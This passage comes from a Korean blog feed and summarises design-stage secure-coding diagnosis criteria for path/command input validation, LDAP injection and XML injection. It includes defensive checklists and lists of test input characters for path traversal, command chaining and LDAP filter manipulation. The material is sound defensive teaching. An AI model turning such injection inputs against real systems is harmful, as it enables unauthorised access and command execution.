&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- IP, PORT, 파일 등&lt;br /&gt;&amp;nbsp; 시스템자원을 식별하기 위해&lt;br /&gt;&amp;nbsp; 사용자 입력값을 사용하는 경우&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;입력값을 검증하도록 설계&lt;/b&gt;&lt;/u&gt;하고 있는지 확인한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;[ 진단 방법 ]&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. 외부입력값이 시스템자원을 식별하는 값으로 사용되는 경우,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;u&gt;허가된 자원에만 접근하도록 보안 설계&lt;/u&gt;가 적용되어 있는가?&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;1-1&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항정의서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목에 대한 대책이 수립&lt;/b&gt;되어 있으며,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;아키텍처 설계서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목 적용계획이 수립&lt;/b&gt;되어 있고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항추적표&lt;/b&gt;로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구 사항 추적 가능 여부 확인&lt;br /&gt;&lt;/b&gt;- 산출물 검토 예시:&amp;nbsp; 요구사항정의서, 요구사항추적표, 아키텍처 설계서 검토&lt;br /&gt;&lt;br /&gt;1-2 &lt;b&gt;접근이 허가된 시스템자원이 식별&lt;/b&gt;되고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 사용가능한 기능과 &lt;b&gt;매핑&lt;/b&gt;되어 있는지 아키텍처설계서 등에서 확인&lt;br /&gt;- 산출물 검토 예시:&amp;nbsp;&amp;nbsp;아키텍처설계서의 보안요구항목 적용 계획 검토, 자원과 기능 매핑을 체크하기 위해 DB설계서 검토&lt;br /&gt;&lt;br /&gt;1-2 &lt;b&gt;시스템자원 접근 이력&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;로그로 기록되도록 설계&lt;/b&gt;&lt;/u&gt;되어 있는지&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 아키텍처 설계서, 클래스설계서 등에서 확인&lt;br /&gt;- 로그기록내용에는 &lt;u&gt;&lt;b&gt;시간, 사용자ID, 사용자IP 및 입력값이&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;u&gt;&lt;b&gt;포함 되도록 설계&lt;/b&gt;&lt;/u&gt;되어야 하며,&lt;br /&gt;&amp;nbsp; &amp;nbsp;&lt;u&gt;&lt;b&gt;권한없는 접근의 경우도 기록하도록 설계&lt;/b&gt;&lt;/u&gt;되어 있는지 확인&lt;br /&gt;&lt;br /&gt;- 산출물 검토 예시:&amp;nbsp; 아키텍처설계서, 유즈케이스설계서, 클래스설계서 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;2. 허가되지 않은 자원에 대해&lt;br /&gt;&amp;nbsp; &amp;nbsp; 접근이 가능한지를 점검하는&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;테스트 계획이 수립&lt;/b&gt;&lt;/u&gt;되어 있는가?&lt;br /&gt;&lt;br /&gt;2-1 조작된 입력으로&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 허가되지 않은 자원(파일이나, 서비스, 프로세스, 데이터 등)의&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 접근가능 여부를 점검할 수 있는&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;테스트 계획이 수립&lt;/b&gt;되어 있는 확인&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[테스트 입력값]&lt;/b&gt;&lt;br /&gt;- 경로 조작에 사용되는 .., /, \\ 문자 등&lt;br /&gt;&lt;br /&gt;- 산출물 검토 예시: 단위테스트케이스 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;관련 산출물&lt;/b&gt;&lt;br /&gt;- 요구사항정의서, 요구사항추적표, 아키텍처설계서, DB설계서, 개발가이드, 단위테스트케이스, 단위테스트 시나리오등&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요구사항 2&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;서버 프로그램 안에서&lt;br /&gt;쉘을 생성하여 명령어를 실행해야 하는 경우&lt;br /&gt;외부&lt;b&gt;입력값&lt;/b&gt;에 의해&lt;br /&gt;&lt;b&gt;악의적인 명령어가 실행되지 않도록&lt;/b&gt; 해야 한다.&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- 시스템 명령어를 사용할 때&lt;br /&gt;&amp;nbsp; 외부 입력값을 사용하는 경우&lt;br /&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;입력값을 검증하도록 설계&lt;/b&gt;&lt;/u&gt;하고 있는지 확인한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;[ 진단 방법 ]&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. 외부입력 값이 운영체제 명령어 실행시&lt;br /&gt;&amp;nbsp; &amp;nbsp;명령어 또는 파라메터로 사용되는 경우,&lt;br /&gt;&amp;nbsp; &amp;nbsp;&lt;u&gt;허가된 명령만 실행&lt;/u&gt;되도록 보안설계가 적용되어 있는가?&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;1-1&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항정의서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목에 대한 대책이 수립&lt;/b&gt;되어 있으며,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;아키텍처 설계서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목 적용계획이 수립&lt;/b&gt;되어 있고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항추적표&lt;/b&gt;로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구 사항 추적 가능 여부 확인&lt;br /&gt;&lt;/b&gt;- 산출물 검토 예시: 요구사항정의서, 요구사항추적표, 아키텍처 설계서 검토&lt;br /&gt;&lt;br /&gt;1-2 프로그램내에서&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;명령어를 실행하는 기능 포함여부를 식별&lt;/b&gt;하고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 해당 기능에서 실행 가능한 &lt;b&gt;명령어 또는 파라미터&lt;/b&gt;가&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;제한되도록 설계&lt;/b&gt;되어 있는지 확인&lt;br /&gt;- 산출물 검토 예시:&amp;nbsp; 아키텍처설계서, 클래스 설계서, 유즈케이스설계서 검토&lt;br /&gt;&lt;br /&gt;1-3 운영체제 명령어 실행 이력이&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 로그로 기록되도록 설계되어 있는지&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 아키텍처 설계서, DB설계서 등에서 확인&lt;br /&gt;- &lt;b&gt;로그기록내용&lt;/b&gt;에는&lt;br /&gt;&amp;nbsp; &amp;nbsp;&lt;b&gt;시간, 사용자ID, 사용자IP 및 입력값&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; &amp;nbsp;&lt;b&gt;포함 되도록 설계&lt;/b&gt; 되어야 하며,&lt;br /&gt;&amp;nbsp; &lt;b&gt;실행한 명령어와 파라미터가 기록&lt;/b&gt;되도록 &lt;b&gt;설계&lt;/b&gt;되었는지 확인&lt;br /&gt;&lt;br /&gt;- 산출물 검토 예시: 아키텍처설계서의 보안 요구항목 적용 계획 검토, 로그기록내용과 기능 설계시 로깅이 수행되도록 설계되어 있는지 진단을 위해 클래스설계서 검토, 로깅 코딩 규칙 진단을 위해 개발 가이드 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;2.&lt;span&gt; 허가되지 않은 명령어 실행가능여부를&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;b&gt;점검하는 계획이 수립&lt;/b&gt;되어 있는가?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2-1 조작된 입력으로 허가되지 않은 명령어가&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 실행가능한지 여부를 &lt;u&gt;&lt;b&gt;테스트 하는 계획&lt;/b&gt;&lt;/u&gt;을&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 설계문서(ex. 단위테스트케이스, 단위테스트시나리오 등) 에서 확인&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[테스트 입력값]&lt;/b&gt;&lt;br /&gt;&lt;span&gt;- 검증해야 할 문자열(|, &amp;amp;, ; 등)을 정의&lt;br /&gt;- 검증 및 예상 결과가 포함되어 있는지 확인&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;- 산출물 검토 예시:&lt;span&gt;&amp;nbsp;&lt;/span&gt;단위테스트케이스 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;관련 산출물&lt;/b&gt;&lt;br /&gt;- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 유즈케이스 설계서, 클래스설계서, 개발가이드, 단위테스트케스, 단위테스트시나리오 등&lt;/blockquote&gt;</description>
      <category>Study/SW보안약점 진단</category>
      <category>소프트웨어 보안약점 진단가이드</category>
      <category>시스템 자원 접근 및 명령어 수행 입력값 검증</category>
      <category>시큐어코딩</category>
      <category>입력데이터 검증 및 표현</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/168</guid>
      <comments>https://chmodi.tistory.com/168#entry168comment</comments>
      <pubDate>Wed, 27 Jul 2022 16:52:27 +0900</pubDate>
    </item>
    <item>
      <title>[설계 단계 - 입력데이터 검증 및 표현] 디렉토리 서비스 조회 및 결과 검증</title>
      <link>https://chmodi.tistory.com/167</link>
      <description>&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;소프트웨어 보안약점 진단가이드&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;2021.11&amp;nbsp;개정안 기준&lt;/b&gt;으로 작성&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;- 이후 내용이 수정될 수 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;&lt;b&gt;[항목]&lt;br /&gt;&lt;/b&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;- 디렉토리 서비스 조회 및 결과 검증&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;[유형]&lt;br /&gt;&lt;/b&gt;- 입력데이터 검증 및 표현&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[기준]&lt;br /&gt;&lt;/b&gt;- 디렉토리 서비스(LDAP 등)를 조회할 때&lt;br /&gt;&amp;nbsp; &lt;b&gt;입력값과 그 조회결과에 대한 유효성 검증방법 설계&lt;/b&gt; 및&lt;br /&gt;&amp;nbsp; &lt;b&gt;유효하지 않은 값에 대한 처리방법을 설계&lt;/b&gt;한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[보안 대책]&lt;/b&gt;&lt;br /&gt;- LDAP 인증서버로 인증을 구현하는 경우&lt;br /&gt;&amp;nbsp; 인증요청을 위해 사용되는 &lt;b&gt;외부입력값&lt;/b&gt;은&lt;br /&gt;&amp;nbsp; LDAP 삽입 취약점을 가지지 않도록 &lt;u&gt;&lt;b&gt;필터링해서 사용&lt;/b&gt;&lt;/u&gt;해야 한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[구현단계 관련 보안약점]&lt;br /&gt;&lt;/b&gt;- 입력 데이터 검증 및 표현 &amp;gt; LDAP 삽입&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 개요: LDAP 삽입&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부입력값이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LDAP 조회를 수행하기 위한 필터 생성에 사용되는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터규칙을 변경할 수 있는 &lt;b&gt;입력값에 대한 검증 작업을 수행하지 않게 되면&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공격자가 의도하는 LDAP 조회가 수행될 수 있는 취약점&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;519&quot; data-origin-height=&quot;241&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ILF02/btrIjOpUMiQ/QOOqkHd6tlkr5f4LAXf7sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ILF02/btrIjOpUMiQ/QOOqkHd6tlkr5f4LAXf7sk/img.png&quot; data-alt=&quot;LDAP 삽입 취약점&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ILF02/btrIjOpUMiQ/QOOqkHd6tlkr5f4LAXf7sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FILF02%2FbtrIjOpUMiQ%2FQOOqkHd6tlkr5f4LAXf7sk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;519&quot; height=&quot;241&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;519&quot; data-origin-height=&quot;241&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;LDAP 삽입 취약점&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;설계 시 고려사항(보안 대책)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 대책의 세부 내용 입니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;1. LDAP 인증서버로 인증을 구현하는 경우&lt;br /&gt;&amp;nbsp; &amp;nbsp; 인증요청을 위해 사용되는 외부&lt;b&gt;입력값&lt;/b&gt;은&lt;br /&gt;&amp;nbsp; &amp;nbsp; LDAP 삽입 취약점을 가지지 않도록 &lt;u&gt;&lt;b&gt;필터링해서 사용&lt;/b&gt;&lt;/u&gt;해야 한다.&lt;br /&gt;&lt;br /&gt;- LDAP 인증이 포함되는 기능 설계시,&lt;br /&gt;&amp;nbsp; 외부&lt;b&gt;입력값&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; LDAP 조회를 위한 검색 필터 생성에&lt;br /&gt;&amp;nbsp; 삽입되어 사용되는 경우,&lt;br /&gt;&amp;nbsp; 필터 규칙으로 인식 가능한 &lt;b&gt;특수문자(=, +, &amp;lt;, &amp;gt;, #, ;, \ 등)들을&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &lt;b&gt;제거하고 사용&lt;/b&gt;할 수 있도록&lt;br /&gt;&amp;nbsp; &lt;b&gt;시큐어코딩 규칙을 정의&lt;/b&gt;해야 한다&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;[ LDAP 아키텍처 설계]&lt;br /&gt;- 개발환경:&amp;nbsp;&lt;/b&gt;Java, PHP, ASP&lt;br /&gt;&lt;b&gt;- 활용 가능한 프레임워크 또는 라이브러리: &lt;/b&gt;LDAP Syntax Filters&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&amp;nbsp; LDAP 검색필터를&lt;br /&gt;&amp;nbsp; 액티브 디렉토리(AD) 조회 시의&lt;br /&gt;&amp;nbsp; 검색기준을 정의하고&lt;br /&gt;&amp;nbsp; 효율적인 검색을 수행할 수 있다.&lt;br /&gt;&amp;nbsp; 위 MS 웹문서의 내용과 참조목록으로&lt;br /&gt;&amp;nbsp; &lt;b&gt;필터 작성에 필요한 문법을 참고&lt;/b&gt;하여&lt;br /&gt;&amp;nbsp; &lt;b&gt;특수문자를 필터링&lt;/b&gt;한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;진단 기준 및 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요구사항 1&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;LDAP 인증서버로 인증을 구현하는 경우&lt;br /&gt;인증요청을 위해 사용되는 외부&lt;b&gt;입력값&lt;/b&gt;은&lt;br /&gt;LDAP 삽입 취약 점을 가지지 않도록&lt;br /&gt;&lt;b&gt;필터링해서 사용&lt;/b&gt;해야 한다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;- LDAP 질의문 생성 시&lt;br /&gt;&amp;nbsp; 사용되는 &lt;b&gt;입력값과 조회결과&lt;/b&gt;에 대한&lt;br /&gt;&amp;nbsp; &lt;b&gt;검증방법(필터링 등)을 설계&lt;/b&gt;하고&lt;br /&gt;&amp;nbsp; &lt;b&gt;유효하지 않은 값에 대한 처리방법&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; &lt;b&gt;명시되어 있는지 확인&lt;/b&gt;한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;[ 진단 방법 ]&lt;/b&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;1. 외부입력값이&lt;br /&gt;&amp;nbsp; &amp;nbsp; LDAP조회를 위한 필터생성에 삽입되어 사용되는 경우,&lt;br /&gt;&amp;nbsp; &amp;nbsp; 안전하게 사용될 수 있도록 보안설계가 적용되어 있는가?&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;1-1&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항정의서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목에 대한 대책이 수립&lt;/b&gt;되어 있으며,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;아키텍처 설계서&lt;/b&gt;에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설계항목 적용계획이 수립&lt;/b&gt;되어 있고,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구사항추적표&lt;/b&gt;로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;요구 사항 추적 가능 여부 확인&lt;br /&gt;&lt;/b&gt;- 산출물 검토 예시:&amp;nbsp; 요구사항정의서, 요구사항추적표, 아키텍처설계서 검토&lt;br /&gt;&lt;br /&gt;1-2 LDAP 조회필터 생성에 사용되는 입력값을&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;필터링하는 기능이 설계&lt;/b&gt;되어 있거나,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;안전한 외부라이브러리를 사용하도록 설계&lt;/b&gt;되어 있는지 확인&lt;br /&gt;- 산출물 검토 예시: 프로그램명세서, 컴포넌트설계서, 유즈케이스설계서, 클래스설계서 등에서 필터링 기능 검토&lt;br /&gt;&lt;br /&gt;1-3 LDAP조회기능 구현시,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;LDAP필터링을 적용하기 위한 코딩규칙&lt;/b&gt;이&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;개발 가이드에 정의&lt;/b&gt;되어 있는지 확인&lt;br /&gt;- 산출물 검토 예시: 개발가이드에서 코딩규칙 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;2. LDAP 삽입 취약점을 점검할 수 있는&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;u&gt;테스트 계획이 수립&lt;/u&gt;되어 있는가?&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;2-1 LDAP 필터구문을 변경할 수 있는 &lt;b&gt;입력값을 사용&lt;/b&gt;하여&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; LDAP필터의 규칙이 &lt;b&gt;변경되는지를 점검&lt;/b&gt;하기 위한&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;u&gt;&lt;b&gt;테스트 계획이 수립&lt;/b&gt;&lt;/u&gt;되어 있는지 확인&lt;br /&gt;[테스트 입력값]&lt;br /&gt;- = , + , &amp;lt; , &amp;gt; , # , ; , \ 등&lt;br /&gt;&lt;br /&gt;- 산출물 검토 예시: 단위테스트케이스 검토&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;관련 산출물&lt;/b&gt;&lt;br /&gt;- 요구사항정의서, 요구사항추적표, 아키텍처설계서, 개발가이드, 프로그램설계서, 유즈케이스설계서, 클래스설계서, 컴포넌트설계서, 단위테스트케이스 등&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/SW보안약점 진단</category>
      <category>디렉토리 서비스 조회 및 결과 검증</category>
      <category>소프트웨어 보안약점 진단가이드</category>
      <category>시큐어코딩</category>
      <category>입력데이터 검증 및 표현</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/167</guid>
      <comments>https://chmodi.tistory.com/167#entry167comment</comments>
      <pubDate>Wed, 27 Jul 2022 15:29:45 +0900</pubDate>
    </item>
    <item>
      <title>[설계 단계 - 입력데이터 검증 및 표현] XML 조회 및 결과 검증</title>
      <link>https://chmodi.tistory.com/166</link>
      <description>&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;소프트웨어 보안약점 진단가이드&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;2021.11&amp;nbsp;개정안 기준&lt;/b&gt;으로 작성&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;- 이후 내용이 수정될 수 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666;&quot;&gt;&lt;b&gt;[항목]&lt;br /&gt;&lt;/b&gt;- XML 조회 및 결과 검증&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;[유형]&lt;br /&gt;&lt;/b&gt;- 입력데이터 검증 및 표현&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[기준]&lt;br /&gt;&lt;/b&gt;- XML 조회시 &lt;b&gt;질의문(XPath, XQuery 등) 내 입력값&lt;/b&gt;과 그 &lt;b&gt;조회결과&lt;/b&gt;에 대한&lt;br /&gt;&amp;nbsp; &lt;b&gt;유효성 검증방법(필터링 등)&lt;/b&gt;과 &lt;b&gt;유효하지 않은 값에 대한 처리방법&lt;/b&gt;을 &lt;b&gt;설계&lt;/b&gt;해야 한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[보안 대책]&lt;/b&gt;&lt;br /&gt;- XML문서를 조회하는 기능을 구현해야 하는 경우&lt;br /&gt;&lt;b&gt;&amp;nbsp; XML질의문에 사용되는 파라미터&lt;/b&gt;는 반드시&lt;br /&gt;&amp;nbsp; XML쿼리를 &lt;b&gt;&lt;u&gt;조작할 수 없도록 필터링해서 사용&lt;/u&gt;&lt;/b&gt;하거나,&lt;br /&gt;&amp;nbsp; 미리 작성된 질의문에 &lt;u&gt;&lt;b&gt;입력값을 자료형에 따라 바인딩해서 사용&lt;/b&gt;&lt;/u&gt;해야 한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[구현단계 관련 보안약점]&lt;br /&gt;&lt;/b&gt;- 입력 데이터 검증 및 표현 &amp;gt; XML 삽입&lt;br /&gt;- 입력 데이터 검증 및 표현 &amp;gt; 부적절한 XML 외부개체 참조&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 개요: XML 삽입&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XML 문서를 조회할 경우 입력값 조작으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XQuery나 XPath와 같은 &lt;b&gt;XML 질의문의 구조를 임의로 변경&lt;/b&gt;하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;허가되지 않은 데이터를 조회하거나 인증절차를 우회&lt;/b&gt;할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
